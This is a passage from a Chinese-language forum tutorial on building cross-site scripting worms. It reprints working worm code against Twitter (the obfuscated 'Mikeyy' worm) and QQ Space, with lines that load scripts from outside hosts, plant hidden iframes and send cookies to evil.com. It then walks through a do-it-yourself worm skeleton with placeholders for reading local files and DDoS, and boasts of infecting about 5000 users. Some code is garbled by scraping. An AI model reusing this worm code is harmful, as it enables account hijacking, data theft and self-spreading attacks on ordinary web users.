, J1 s4 r7 M: D2 M2 k( O* E复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
2 d* u$ T  U! ]$ Q6 A' [4 F
+ M5 T/ ^3 D3 nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# J( O5 V8 X% ?2 T


2 g/ `4 Z1 T; m$ S; RXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
3 q6 [9 F5 W- G6 T3 Z
' O. X; J9 o$ d. C1 KXmlHttp.send(null);

, Y& l2 y3 [2 k<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
" {. @1 m* R5 O7 X. z' X4 {, Y复制代码案例:Twitter 蠕蟲五度發威
第一版:
; d  n* Q: `1 q! }* M, w  下载 (5.1 KB)
4 r( M$ t0 {) l. ]6 Q5 V8 ~" e2 O
6 天前 08:27
( r2 G; V# B* I: N  n. u
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

2 T: j; i" H6 q  C   2.   
( k  x0 l! z7 [6 x' ?2 t* S
) F6 D: c& ^/ a, K. d6 o% ]0 g   3. function XHConn(){  

, {( ~/ y& N8 j% b- ~* n   4.   var _0x6687x2,_0x6687x3=false;  

( K5 [% G  f% _   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
4 Z" @2 L' L( e) \& w# D- P
7 }% [  j+ A) c# U   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

4 _+ d) W& W% @. a6 e% i$ N5 ^, C; ^   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
' B4 N" p) }3 J* r( q9 B
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

6 E1 e3 `" R: ^$ f   4.   var tmp_posted=tmp_cookie.match(/posted/);  
  d' _4 T8 }8 b+ W
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
' Y( _5 k- O1 C% R
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

1 Q, ?  l  h+ [% X1 H/ R   8.   var randomUpdate= new Array();  

) D& O( D( o, ~# N# o6 a; f0 K& b   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
. p- v2 o. O0 |) [1 E+ M. v9 S' |
1 _6 ?$ z) s. m) f/ u& R, l  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

' K2 X% n% s# ]' `( o" M2 `  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
- B& [2 k! @( j; r$ Z' E
. r( h4 ^* z$ |5 j( `  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
8 T0 `  r; e$ b' q! d! p" w( m* P
6 R7 X$ e6 J2 B0 h  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
& t' J4 O* L) m$ q0 T4 l' n
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
( y& Z. n+ T1 u* o  s
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
0 K+ D9 _* Z% k: B# M3 _
$ |: R- J$ T% M, g4 ?  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
9 ]3 s! K) l$ W/ m, y
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
3 m* f0 z/ V/ N: }  S! G. @; e
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
: t6 z& N3 }) x% E' H
$ k7 M5 o3 Y) `, f. I4 J* D  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
' C7 `4 C. u4 e+ p
  24.     

7 Q8 }/ L6 ?4 v. ]; B  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
, v; l# j! y2 A6 C
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

0 A2 q8 c/ d# z& J  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  d. ?( o0 Y  Y; n, z  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

! e# j) D! u" K+ H, Z  35.   var XSS=urlencode(genXSS);  
/ {) q9 T* Z4 V& n0 w  M1 Y# x1 u3 r
  36.   var ajaxConn2= new XHConn();  
) C: G8 X% ], f( R* V5 i. P
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

: e" {- _$ @) l  39. } ;  

9 ]. N5 m) w* n. h3 i: ?: |  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;

- E8 f+ z1 S: u7 z% J% B# x
/ f% ?) x- _2 U9 D) S0 z
: O* V" m7 q: ?9 G7 R* tvar shendu;shendu=4;
; Y3 Z7 m) J  q  C7 |1 A
//---------------global---v------------------------------------------

/ E# d( L+ O" `( M//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  h5 l% [- E" l' i
/ q1 S3 Z0 r% c( w& G1 H' t- `9 Avar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

9 n* F" s' e/ K* D& p3 ~var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

$ c8 w/ C' G9 k% w( ]: N3 l/ t        gurl=gurl.substring(0,gurle+3);        
* e  S& `6 R( z) m7 o  P
4 a8 R  c4 r) f. c' t        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
6 y+ S* D/ ~0 d  W8 p# z
        visitorID=visitorID.substring(cookieS+14);
5 N2 x: R7 V  I0 ^0 ~
        cookieS=visitorID.indexOf(",");
" h5 I& p0 k9 e, b6 ?
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();

" L5 O( v0 Q5 Q; }1 I  w' P6 X
) N' Q% [( T- P$ K$ X
% |! j" w1 f) ]% D//挂马

function DOshuamy(){

var ssr=document.getElementById("veryTitle");
1 s$ J5 I) z. d) ]3 D/ Q7 [$ q( a
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

1 `% x& T/ h5 R% _$ `9 I# R}
- J) N5 z: y& m5 I

3 E5 G6 J0 R- n. ~/ T
9 J6 p6 O' C0 P//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
4 q+ I* G. v& i" e$ P
( l$ m4 `8 @2 ~2 I0 ~. Ufunction get_my_blog(visitorID){
. m' ^" V4 s1 W+ I' V3 i
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
9 c3 s7 h3 [% l2 I3 W
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

4 {( S* ]: F! t' ?# T1 d   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
; O* X: S7 P, e  y9 Y
  E! w  |! t2 W3 y- x- F0 N6 B     xhr.send();guest=xhr.responseText;

3 u% g% s: L; H7 w9 [     get_my_blogurl(guest);    //执行这个函数

, w1 Z* `% ~$ Z% h    }

}

- V  O! A- P5 U/ i' E4 U) X
$ c7 U6 ~8 \7 H+ d, ^
3 b0 l. |& A: b0 A# I  }//这里似乎是判断没有登录的
. X9 z1 E( w5 L7 _
function get_my_blogurl(guest){
9 G; @1 I  l( p* k/ c
  var mybloglist=guest;
5 c) p- S8 \& _( z5 j
  var myurls;var blogids;var blogide;
# }. t; Q7 ~" `9 {, u2 n
  for(i=0;i<shendu;i++){
% s. [/ U  X) R# m. b7 m! u$ K4 _
1 l6 Q" V$ L7 s     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

3 [6 Z  X. |( L6 x+ L     if(myurls!=-1){    //找到了就执行下面的
% E2 i% G* S( e! h- O6 H+ u0 z: y
' I  V- I% u+ }' t. t7 L: A         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

6 h/ x% ^% C# Y  m. [0 e$ z& a         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
+ u5 P$ [# a. t% D
1 y/ s" y' B% A% e! q3 f& |}

get_my_testself();    //执行这个函数
! V$ U7 m7 W+ s0 R1 Q4 v
5 ^5 u. G) F& N1 V9 o  z) ?! }$ r+ \}
9 \& X5 [/ b9 l- _! k1 a- m
0 @5 ^; t2 G% |. ~0 p# _6 G1 B# G

//这里往哪跳就不知道了

function get_my_testself(){

2 i8 P% J- M7 s$ G" v+ ~  y  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
4 k/ `4 ~5 Z# D" m
" }9 v1 b% v; A% e+ E      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
/ H0 L; g: M8 e3 R
/ n& E7 X  g1 D$ _1 T      if(xhr2){        //如果成功
" }+ n: U+ H9 p0 t, q- G2 m
( m# f5 p2 R/ e0 _# y! G              xhr2.open("GET",url,false);     //打开上面的那个url
0 w& N8 M$ z$ L9 K* e/ X
! {+ j0 T% n5 r1 G! g              xhr2.send();

              guest2=xhr2.responseText;
" c. T+ W1 C! r5 j
0 p1 ^5 H- F0 R! `9 S8 F, n; J. o              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
* s/ }; S  H* X
9 n/ M8 J2 I- b# x% y+ ~              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

$ g* t7 J( Z: Q; o6 L4 L9 n              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( p( j! ~  G8 d1 L/ T
                targetblogurlid=myblogid;   

+ C6 J( B: q& Y4 x* Q                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
6 |! M; W, J3 M3 ?2 h7 h
                break;

               }
- p" o) P/ s3 x
              if(mycheckit=="-1"){
2 q5 j& t" d2 j5 E& C: h8 p
                targetblogurlid=myblogid;
- A, X: ]* k/ o5 I6 P2 K
2 ?5 m' L9 D0 u. q! I: Z                add_js(visitorID,targetblogurlid,gurl);    //执行它

4 r9 d0 r, t: c                break;
9 d+ [7 v! J9 J$ d$ n6 \  [* M
7 K5 D7 U7 G+ e4 u1 x* r5 {               }

2 ^7 k1 v" Y/ W6 {' I  V        }      

; f3 D4 r( t1 q3 p}

}
+ d% D; C" U! [# B8 ]
6 t0 Q& H) X' q* M. P( E
0 [8 P* ^+ `# v' D
//--------------------------------------  
( b) H1 E$ ^* @/ I
//根据浏览器创建一个XMLHttpRequest对象
* I7 F4 ^* c0 J+ _/ z
1 t$ h( Y# L% X& a, q3 [) mfunction createXMLHttpRequest(){
+ J( b. k7 O* Y, b3 |
    var XMLhttpObject=null;  

) X* R! G! Q: k' d- z) e    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
2 Z+ s% n9 P7 c$ B% p" J: Q6 C9 _
    else  

3 t  W/ R; y8 C+ m8 q. ~+ Y      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

        {  
8 {8 n0 ^7 i) ~% f
            try  

: n, R: O+ |' H* v            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
9 ]. R; k7 ~7 c
4 e+ O4 ~6 [: {1 L8 z( h                break;  

            }  

  ]& t! N% b: X5 l" u            catch (ex) {  
! m- f* n! k# @0 q
            }  
* h, S- {& @$ W2 t2 k- t. N
         }  

      }

" C( G7 C- o7 |' q. Greturn XMLhttpObject;

}  
" o& {: q: ^( }  d2 N) l

5 D; H) W9 n& h% }# o
# ~, S- q' h, ]0 @" p' Z//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
3 z; R: c  |6 Y' a) |( C
3 J; v! v3 z* _& T2 h! vs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- a" L4 D! q9 _& H
, E1 t1 o* ?: s7 s2 B; u( R; us2.type='text/javascript';
$ v# l  o0 |! S: b, D! H
- e1 C' [/ }( U1 pdocument.getElementsByTagName('head').item(0).appendChild(s2);
: O9 Y& O1 L" _% o. n1 T% D
% J! {! c6 b* T& B+ ]5 J}
: i  }6 ?1 A& A0 P* l, _
4 i7 ^) C! |  y

function add_jsdel(visitorID,targetblogurlid,gurl){
2 }* y: ?3 U' x$ m/ L8 d
var s2=document.createElement('script');
! n2 Z3 E; H( R) d2 v! [; `
9 O& y0 d6 Z6 ~8 r9 ~s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
! X% c% I8 j+ d. Z7 ^: S- p3 a' b
s2.type='text/javascript';
5 D3 y9 i2 R& B" o9 ^. A
document.getElementsByTagName('head').item(0).appendChild(s2);
& F, s9 A- M4 Q9 t" o
}
+ q; b- {8 q$ o$ H, [+ }5 Y  T复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

) z) |) ?$ i3 Q5 u$ _, g2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
9 H5 [( Q. Y! W* D- S
2 z" `" v4 u3 D综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

* K2 w! O7 W" T# O: ^! y0 S# s6 b
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
- Z/ c  s. q+ ^4 a+ P- l! F  D; q
7 x: T, z& L+ R$ y, x  F首先,自然是判断不同浏览器,创建不同的对象var request = false;
* I4 v: W1 p% i" \* O- h' l, {
! V+ E- K" }% W/ e; u5 y( nif(window.XMLHttpRequest) {

6 U' a7 x4 S8 M2 G% n  n# X. Y% {request = new XMLHttpRequest();
8 Y8 r6 y# N# T
if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
5 }9 L1 A- u: f$ y9 E, S" t
2 l- c" I8 e7 Z! T8 p- F: G1 }7 ]} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ j1 r9 o1 M2 Y
for(var i=0; i<versions.length; i++) {

try {
3 x. \4 b, @4 K( o# Q( s8 f
, U' T& @* N  |; Q/ l( Nrequest = new ActiveXObject(versions);
, e% @% h$ p4 J" u) o9 m1 U3 X
} catch(e) {}
" i$ I2 s. q$ }! z& c8 w# W
. _  A4 d) u# ]0 _  e" P: y}
6 ~5 a! P& S& R
}
. M) H7 W! k8 _4 E9 M
2 n3 _8 W1 ]# O( t! M" t7 GxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

% V1 h, F8 p9 h        var Browser_Name=navigator.appName;
: _' W% q" `: U) m' w4 H
        var Browser_Version=parseFloat(navigator.appVersion);
. ]% {3 v$ s' ~" `( i/ l: O6 S
        var Browser_Agent=navigator.userAgent;

        
8 O" H! ?2 ]/ F! m. G6 }8 C
8 a: [) U. O, U# B' ?0 B: J        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
$ \: k# E, i. D/ b: i2 F: e$ v2 v
5 z' Q5 X. s/ U8 X; i7 X        var is_NN=(Browser_Name=="Netscape");
' ]0 j. y+ P# ^3 a3 [5 j
        var is_Ch=(Browser_Name=="Chrome");

        
3 k% n% v0 E- S2 d3 ~
2 ]. {4 B( m$ E- f7 [        if(is_NN){
& Y$ g# Y! \5 w: k2 ?4 F' Z
0 j  I/ [2 X8 ]6 L' p4 ?9 b3 I- t            if(Browser_Version>=5.0){
1 C+ Y1 g8 `1 Q
5 T( a+ f2 R0 @' g( f, Q& I3 r                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

' z% a6 }: F. O" l3 Q' Z- x                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
/ Y; T6 C9 z3 `0 A& T0 v' U
# s1 ^  z% y- f0 L/ ~3 c# H/ A4 k

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
  f: y# N' Y" H3 v) P" y& X6 f
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
9 I: @* K  H& Q0 Z
; M, ~, v& M+ l* V0 [( W6 I, d3 P# o            else{
  E( p/ |/ N, i1 }* X
0 [$ ?8 R" x! y- {* m                Actual_Version=Browser_Version;
7 Q& O3 Z/ ^6 h) c- c- p2 L
                Actual_Name=Browser_Name;
2 ]1 g' M& V- t& t6 d
& V' |5 L7 ]- _; D4 Y) E+ d- ]            }

        }

% K: M, G' U- G5 R7 |% N7 s        else if(is_IE){
. s0 Z2 Y8 K6 J4 }. c7 |6 ~& e" y4 s# c
" P" S! s3 J9 t1 r' |            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
; N$ _/ Z4 l3 [. k3 \/ f7 d- r+ d
  S2 s; h# l* ~4 Z            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
$ {8 n" X) y3 R! f$ s# V
            
3 }7 b7 f* Q1 g* s# {' c. b7 J( h
$ l' }+ i  S! ]' y( N            if(Browser_Agent.indexOf("Maxthon")!=-1){
5 }0 L. N- @5 O% M* v* G: M/ V
* C( V0 o5 k: E* Z6 Y7 U                Actual_Name+="(Maxthon)";

            }
- S: v& a6 _: w' e
) e1 k* i. [8 ~, ?: j- D            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

$ A& Z, C) K2 ^# [5 J) u* K' a' }                var tempstart=Browser_Agent.indexOf("Opera");
& u$ b. E5 V& p6 B+ u4 @( H5 y
( y( z5 i0 _1 i; O& X                var tempend=Browser_Agent.length;
' @" O, Z6 b; q. o1 o3 T4 Q
$ E& c* \% d) ~/ e8 i; t                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
6 Z5 ?( y' {* S6 i
# v$ ?9 ]8 W4 l0 z            }
) k, \; r3 n4 ?% J5 [
        }
  {" K, T/ @" `5 H
        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

- ]  y2 k/ f. g            var Version_End=Browser_Agent.indexOf(";",Version_Start);
: `9 g/ j) Q, t+ {- U5 i% l7 U
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

( Q) g6 ^* T/ k, M            Actual_Name=Browser_Name;
. l- w( u3 _  q' J% d
            

8 ]6 b0 ^' j6 e  s5 T- m            if(Browser_Agent.indexOf("Maxthon")!=-1){
4 U. u3 E  E# ?# _; \: E
                Actual_Name+="(Maxthon)";

            }
$ p3 A1 M3 e8 R3 V7 ?: o5 o0 H+ Z& i
            else if(Browser_Agent.indexOf("Opera")!=-1){
$ l5 t5 [4 J) ~; T- R! L
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

" p* n5 q5 A$ d- }% j- d# c8 n                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- ]( a& o* f# c* K4 O5 t5 ?
0 S  q5 g& P6 s- M; L+ _% o7 M            }

" B. {* U% ?* V0 N- _, R        }

        else{

# ~+ F. {. A" K4 F8 Q            Actual_Name="Unknown Navigator"

! m$ V% w1 B- W  ^1 [            Actual_Version="Unknown Version"
5 ?; }9 p# ], d4 i
        }

/ v1 D; v) t9 H$ o! Z, m* X
# z; U% W" D# F
  B& K0 l- ]5 O5 b        navigator.Actual_Name=Actual_Name;
3 O6 h& l8 b! A" w5 t6 j
& n3 F8 a$ f. O4 S/ G7 l        navigator.Actual_Version=Actual_Version;
! F; n/ M0 @/ g% B" w- f/ W- Q
6 ?# \! B/ `1 g: i$ a6 y/ ~        
6 Y0 Z( }) ^% @4 V/ ?) S+ p. j7 s
        this.Name=Actual_Name;

* E- B! K1 K0 E. u1 a# C/ ~        this.Version=Actual_Version;
3 f' O6 u2 {. g
    }

    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
) V3 [! X& n# A) v. ~! n4 ~
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
7 Q. f1 R# w) c  ^4 D. A
& ]1 l4 p- c) ]9 I& n' A' n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
' P7 _  i1 N9 v8 m" g( `1 S/ H" n复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
/ u" o1 {% M. S- y* q0 p) w复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
; p# i, d2 h/ }3 V
9 W. t# s" K- C; _5 ZxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
8 W4 ]  R2 i! A+ _" M
0 @) v8 ]1 x0 s* m+ Y. zvar id=0;var result;
) j) j$ N6 S" p7 o0 @
8 R5 l8 P) }  u3 r- T3 d/ Pvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

" i0 C1 L9 @- d2 Y$ Qwhile ((result = patt.exec(resource)) != null)  {
1 s3 w8 c0 C; B
id++;
7 W7 C  N7 R7 [' M; a
9 V8 L' R1 r" q% g}
" Y" R9 _9 \2 @* `复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
$ U1 I) X+ p* V7 ~- e
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
  N1 S1 i# n1 a
var post="wd="+wd;
6 d- M8 Q% W3 m6 t- h
8 h8 x5 t1 Z7 [4 P$ l, f, I% \; HxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
7 W2 j+ \/ O. N
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 P, e4 ~2 ?  k" [) W& V
xmlHttpReq.setRequestHeader("content-length",post.length);
/ c4 g, `( p# h& c; {% @1 c
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
) r0 z8 x; h+ P- j; b
* x1 ?$ b) I+ @$ H" T& pxmlHttpReq.send(post);
% r! y! N* a& h2 Z/ ?
: [, v3 n1 ~+ W  i9 @* Q0 [- O}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  J+ g2 N4 {) m8 }
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
6 C6 h0 G& V3 M/ o$ _
9 q- @- A$ o3 z( l8 ^, }var post="wd="+wd;

! @" l1 o6 X' |8 h9 `7 N5 c# x+ YxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

* O+ H7 b" ]9 R3 i5 I7 s, QxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

& E5 k& [% |% v8 j% Q6 ?. AxmlHttpReq.setRequestHeader("content-length",post.length);
) i3 Z2 ?: [8 N! v' T
+ z" ~1 s2 x( hxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

0 U: ~2 D: }/ o' H  _xmlHttpReq.send(post);                 //把传播的信息 POST出去.
( W& ]* T. S+ R; @5 O
}
3 _$ w& q. @# D) u/ T$ S& t1 ]复制代码-----------------------------------------------------总结-------------------------------------------------------------------

4 f6 G# v$ D+ r2 n0 W# ^

9 B( K) a/ g7 l8 `5 P/ u) Q$ F本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
9 ?. T$ p# N# Q6 o6 D
8 k* a& N8 Y& {1 p. P! j' R
; J; M, q6 n/ i2 r# ^
" \6 c  m: N$ |) i8 N, j) I6 _


. P, ?8 W* h# w
' s+ R! p) e: |# Q+ t4 ~: L
" `1 [: W0 F  c) ^6 V本文引用文档资料:
5 j, k# h: |  j0 D
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
